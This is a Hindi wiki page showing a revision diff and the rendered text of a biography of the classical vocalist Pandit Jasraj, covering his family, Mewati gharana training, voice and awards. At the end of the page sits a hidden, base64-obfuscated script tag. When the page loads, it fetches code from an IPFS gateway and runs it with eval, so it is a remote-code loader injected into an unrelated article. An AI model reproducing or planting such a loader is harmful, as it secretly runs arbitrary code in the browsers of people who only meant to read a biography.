पंडित जसराज: Difference between revisions
[unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) No edit summary |
No edit summary |
||
Line 30: | Line 30: | ||
|अद्यतन= | |अद्यतन= | ||
}} | }} | ||
'''पंडित जसराज''' ([[अंग्रेज़ी]]:Pt. Jasraj) भारतीय शास्त्रीय [[संगीत]] के विश्वविख्यात गायक है। हमारे देश में शास्त्रीय संगीत कला सदियों से चली आ रही है। इस [[कला]] को न केवल मनोरंजन का, अपितु ईश्वर से जुड़ने का एक महत्त्वपूर्ण स्रोत माना गया है। ऐसे ही एक आवाज़ जिन्होंने मात्र 3 वर्ष की अल्पायु में कठोर वास्तविकताओं की इस ठंडी दुनिया में अपने दिवंगत [[पिता]] से विरासत के रूप में मिले केवल सात स्वरों के साथ कदम रखा, आज वही सात स्वर उनकी प्रतिभा का इन्द्रधनुष बन विश्व-जगत में उन्हें विख्यात कर रहे हैं। | |||
==जीवन परिचय== | ==जीवन परिचय== | ||
पंडित जसराज का जन्म 28 जनवरी 1930 को एक ऐसे परिवार में हुआ जिसे 4 पीढ़ियों तक हिन्दुस्तानी शास्त्रीय संगीत को एक से बढ़कर एक शिल्पी देने का गौरव प्राप्त है। उनके पिताजी पंडित मोतीराम जी स्वयं [[मेवाती घराना|मेवाती घराने]] के एक विशिष्ट [[संगीतज्ञ]] थे। जैसा कि आपने पहले पढ़ा कि पं. जसराज को संगीत की प्राथमिक शिक्षा अपने पिता से ही मिली परन्तु जब वे मात्र 3 वर्ष के थे, प्रकृति ने उनके सर से पिता का साया छीन लिया। पंडित मोतीराम जी का देहांत उसी दिन हुआ जिस दिन उन्हें [[हैदराबाद]] और बेरार के आखिरी निज़ाम उस्मान अली खाँ बहादुर के दरबार में राज [[संगीतज्ञ]] घोषित किया जाना था। उनके बाद परिवार के लालन-पालन का भार संभाला उनके बडे़ सुपुत्र अर्थात् पं० जसराज के अग्रज, संगीत महामहोपाध्याय पं० मणिराम जी ने। इन्हीं की छत्रछाया में पं० जसराज ने संगीत शिक्षा को आगे बढ़ाया तथा [[तबला]] वादन सीखा। मणिराम जी अपने साथ बालक जसराज को तबला वादक के रूप में ले जाया करते थे। परंतु उस समय सारंगी वादकों की तरह तबला वादकों को भी क्षुद्र माना जाता था तथा 14 वर्ष की किशोरावस्था में इस प्रकार के निम्न बर्ताव से अप्रसन्न होकर जसराज ने तबला त्याग दिया और प्रण लिया कि जब तक वे शास्त्रीय गायन में विशारद प्राप्त नहीं कर लेते, अपने बाल नहीं कटवाएँगे। इसके पश्चात् उन्होंने मेवाती घराने के दिग्गज महाराणा जयवंत सिंह वाघेला से तथा [[आगरा]] के स्वामी वल्लभदास जी से संगीत विशारद प्राप्त किया। पंडित जी के परिवार में उनकी पत्नी मधु जसराज, पुत्र सारंग देव और पुत्री दुर्गा हैं। | पंडित जसराज का जन्म 28 जनवरी 1930 को एक ऐसे परिवार में हुआ जिसे 4 पीढ़ियों तक हिन्दुस्तानी शास्त्रीय संगीत को एक से बढ़कर एक शिल्पी देने का गौरव प्राप्त है। उनके पिताजी पंडित मोतीराम जी स्वयं [[मेवाती घराना|मेवाती घराने]] के एक विशिष्ट [[संगीतज्ञ]] थे। जैसा कि आपने पहले पढ़ा कि पं. जसराज को संगीत की प्राथमिक शिक्षा अपने पिता से ही मिली परन्तु जब वे मात्र 3 वर्ष के थे, प्रकृति ने उनके सर से पिता का साया छीन लिया। पंडित मोतीराम जी का देहांत उसी दिन हुआ जिस दिन उन्हें [[हैदराबाद]] और बेरार के आखिरी निज़ाम उस्मान अली खाँ बहादुर के दरबार में राज [[संगीतज्ञ]] घोषित किया जाना था। उनके बाद परिवार के लालन-पालन का भार संभाला उनके बडे़ सुपुत्र अर्थात् पं० जसराज के अग्रज, संगीत महामहोपाध्याय पं० मणिराम जी ने। इन्हीं की छत्रछाया में पं० जसराज ने संगीत शिक्षा को आगे बढ़ाया तथा [[तबला]] वादन सीखा। मणिराम जी अपने साथ बालक जसराज को तबला वादक के रूप में ले जाया करते थे। परंतु उस समय सारंगी वादकों की तरह तबला वादकों को भी क्षुद्र माना जाता था तथा 14 वर्ष की किशोरावस्था में इस प्रकार के निम्न बर्ताव से अप्रसन्न होकर जसराज ने तबला त्याग दिया और प्रण लिया कि जब तक वे शास्त्रीय गायन में विशारद प्राप्त नहीं कर लेते, अपने बाल नहीं कटवाएँगे। इसके पश्चात् उन्होंने मेवाती घराने के दिग्गज महाराणा जयवंत सिंह वाघेला से तथा [[आगरा]] के स्वामी वल्लभदास जी से संगीत विशारद प्राप्त किया। पंडित जी के परिवार में उनकी पत्नी मधु जसराज, पुत्र सारंग देव और पुत्री दुर्गा हैं। | ||
====आवाज़ की विशेषता==== | ====आवाज़ की विशेषता==== | ||
पं० जसराज के आवाज़ का फैलाव साढ़े तीन सप्तकों तक है। उनके गायन में पाया जाने वाला शुद्ध उच्चारण और स्पष्टता मेवाती घराने की 'ख़याल' शैली की विशिष्टता को झलकाता है। उन्होंने बाबा श्याम मनोहर गोस्वामी महाराज के सानिध्य में 'हवेली संगीत' पर व्यापक अनुसंधान कर कई नवीन बंदिशों की रचना भी की है। भारतीय शास्त्रीय संगीत में उनका सबसे महत्त्वपूर्ण योगदान है। उनके द्वारा अवधारित एक अद्वितीय एवं अनोखी जुगलबन्दी, जो 'मूर्छना' की प्राचीन शैली पर आधारित है। इसमें एक महिला और एक पुरुष गायक अपने-अपने सुर में भिन्न [[राग यमन (कल्याण)|रागों]] को एक साथ गाते हैं। पंडित जसराज के सम्मान में इस जुगलबन्दी का नाम 'जसरंगी' रखा गया है। | पं० जसराज के आवाज़ का फैलाव साढ़े तीन सप्तकों तक है। उनके गायन में पाया जाने वाला शुद्ध उच्चारण और स्पष्टता मेवाती घराने की '[[ख़याल]]' शैली की विशिष्टता को झलकाता है। उन्होंने बाबा श्याम मनोहर गोस्वामी महाराज के सानिध्य में 'हवेली संगीत' पर व्यापक अनुसंधान कर कई नवीन बंदिशों की रचना भी की है। भारतीय शास्त्रीय संगीत में उनका सबसे महत्त्वपूर्ण योगदान है। उनके द्वारा अवधारित एक अद्वितीय एवं अनोखी जुगलबन्दी, जो 'मूर्छना' की प्राचीन शैली पर आधारित है। इसमें एक महिला और एक पुरुष गायक अपने-अपने सुर में भिन्न [[राग यमन (कल्याण)|रागों]] को एक साथ गाते हैं। पंडित जसराज के सम्मान में इस जुगलबन्दी का नाम 'जसरंगी' रखा गया है। | ||
==सम्मान और पुरस्कार== | ==सम्मान और पुरस्कार== |
Revision as of 11:36, 7 February 2012
पंडित जसराज
| |
पूरा नाम | पंडित जसराज |
जन्म | 28 जनवरी 1930 |
जन्म भूमि | बनारस |
पति/पत्नी | मधु जसराज |
संतान | पुत्र सारंग देव और पुत्री दुर्गा |
कर्म-क्षेत्र | शास्त्रीय गायक |
पुरस्कार-उपाधि | पद्म श्री, पद्म भूषण, पद्म विभूषण |
विशेष योगदान | इनके द्वारा अवधारित एक अद्वितीय एवं अनोखी जुगलबन्दी, जो 'मूर्छना' की प्राचीन शैली पर आधारित है। इसमें एक महिला और एक पुरुष गायक अपने-अपने सुर में भिन्न रागों को एक साथ गाते हैं। |
नागरिकता | भारतीय |
अन्य जानकारी | पंडित जसराज ने बाबा श्याम मनोहर गोस्वामी महाराज के सानिध्य में 'हवेली संगीत' पर व्यापक अनुसंधान कर कई नवीन बंदिशों की रचना भी की है। |
पंडित जसराज (अंग्रेज़ी:Pt. Jasraj) भारतीय शास्त्रीय संगीत के विश्वविख्यात गायक है। हमारे देश में शास्त्रीय संगीत कला सदियों से चली आ रही है। इस कला को न केवल मनोरंजन का, अपितु ईश्वर से जुड़ने का एक महत्त्वपूर्ण स्रोत माना गया है। ऐसे ही एक आवाज़ जिन्होंने मात्र 3 वर्ष की अल्पायु में कठोर वास्तविकताओं की इस ठंडी दुनिया में अपने दिवंगत पिता से विरासत के रूप में मिले केवल सात स्वरों के साथ कदम रखा, आज वही सात स्वर उनकी प्रतिभा का इन्द्रधनुष बन विश्व-जगत में उन्हें विख्यात कर रहे हैं।
जीवन परिचय
पंडित जसराज का जन्म 28 जनवरी 1930 को एक ऐसे परिवार में हुआ जिसे 4 पीढ़ियों तक हिन्दुस्तानी शास्त्रीय संगीत को एक से बढ़कर एक शिल्पी देने का गौरव प्राप्त है। उनके पिताजी पंडित मोतीराम जी स्वयं मेवाती घराने के एक विशिष्ट संगीतज्ञ थे। जैसा कि आपने पहले पढ़ा कि पं. जसराज को संगीत की प्राथमिक शिक्षा अपने पिता से ही मिली परन्तु जब वे मात्र 3 वर्ष के थे, प्रकृति ने उनके सर से पिता का साया छीन लिया। पंडित मोतीराम जी का देहांत उसी दिन हुआ जिस दिन उन्हें हैदराबाद और बेरार के आखिरी निज़ाम उस्मान अली खाँ बहादुर के दरबार में राज संगीतज्ञ घोषित किया जाना था। उनके बाद परिवार के लालन-पालन का भार संभाला उनके बडे़ सुपुत्र अर्थात् पं० जसराज के अग्रज, संगीत महामहोपाध्याय पं० मणिराम जी ने। इन्हीं की छत्रछाया में पं० जसराज ने संगीत शिक्षा को आगे बढ़ाया तथा तबला वादन सीखा। मणिराम जी अपने साथ बालक जसराज को तबला वादक के रूप में ले जाया करते थे। परंतु उस समय सारंगी वादकों की तरह तबला वादकों को भी क्षुद्र माना जाता था तथा 14 वर्ष की किशोरावस्था में इस प्रकार के निम्न बर्ताव से अप्रसन्न होकर जसराज ने तबला त्याग दिया और प्रण लिया कि जब तक वे शास्त्रीय गायन में विशारद प्राप्त नहीं कर लेते, अपने बाल नहीं कटवाएँगे। इसके पश्चात् उन्होंने मेवाती घराने के दिग्गज महाराणा जयवंत सिंह वाघेला से तथा आगरा के स्वामी वल्लभदास जी से संगीत विशारद प्राप्त किया। पंडित जी के परिवार में उनकी पत्नी मधु जसराज, पुत्र सारंग देव और पुत्री दुर्गा हैं।
आवाज़ की विशेषता
पं० जसराज के आवाज़ का फैलाव साढ़े तीन सप्तकों तक है। उनके गायन में पाया जाने वाला शुद्ध उच्चारण और स्पष्टता मेवाती घराने की 'ख़याल' शैली की विशिष्टता को झलकाता है। उन्होंने बाबा श्याम मनोहर गोस्वामी महाराज के सानिध्य में 'हवेली संगीत' पर व्यापक अनुसंधान कर कई नवीन बंदिशों की रचना भी की है। भारतीय शास्त्रीय संगीत में उनका सबसे महत्त्वपूर्ण योगदान है। उनके द्वारा अवधारित एक अद्वितीय एवं अनोखी जुगलबन्दी, जो 'मूर्छना' की प्राचीन शैली पर आधारित है। इसमें एक महिला और एक पुरुष गायक अपने-अपने सुर में भिन्न रागों को एक साथ गाते हैं। पंडित जसराज के सम्मान में इस जुगलबन्दी का नाम 'जसरंगी' रखा गया है।
सम्मान और पुरस्कार
पंडित जसराज नीचे दिये गये सम्मान और पुरस्कारों से सम्मानित हो चुके हैं।
- पद्म विभूषण (2001)
- पद्म भूषण
- पद्म श्री
- संगीत नाटक अकादमी अवार्ड
- मास्टर दीनानाथ मंगेशकर अवार्ड
- लता मंगेशकर पुरस्कार
- महाराष्ट्र गौरव पुरस्कार
|
|
|
|
|
टीका टिप्पणी और संदर्भ
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>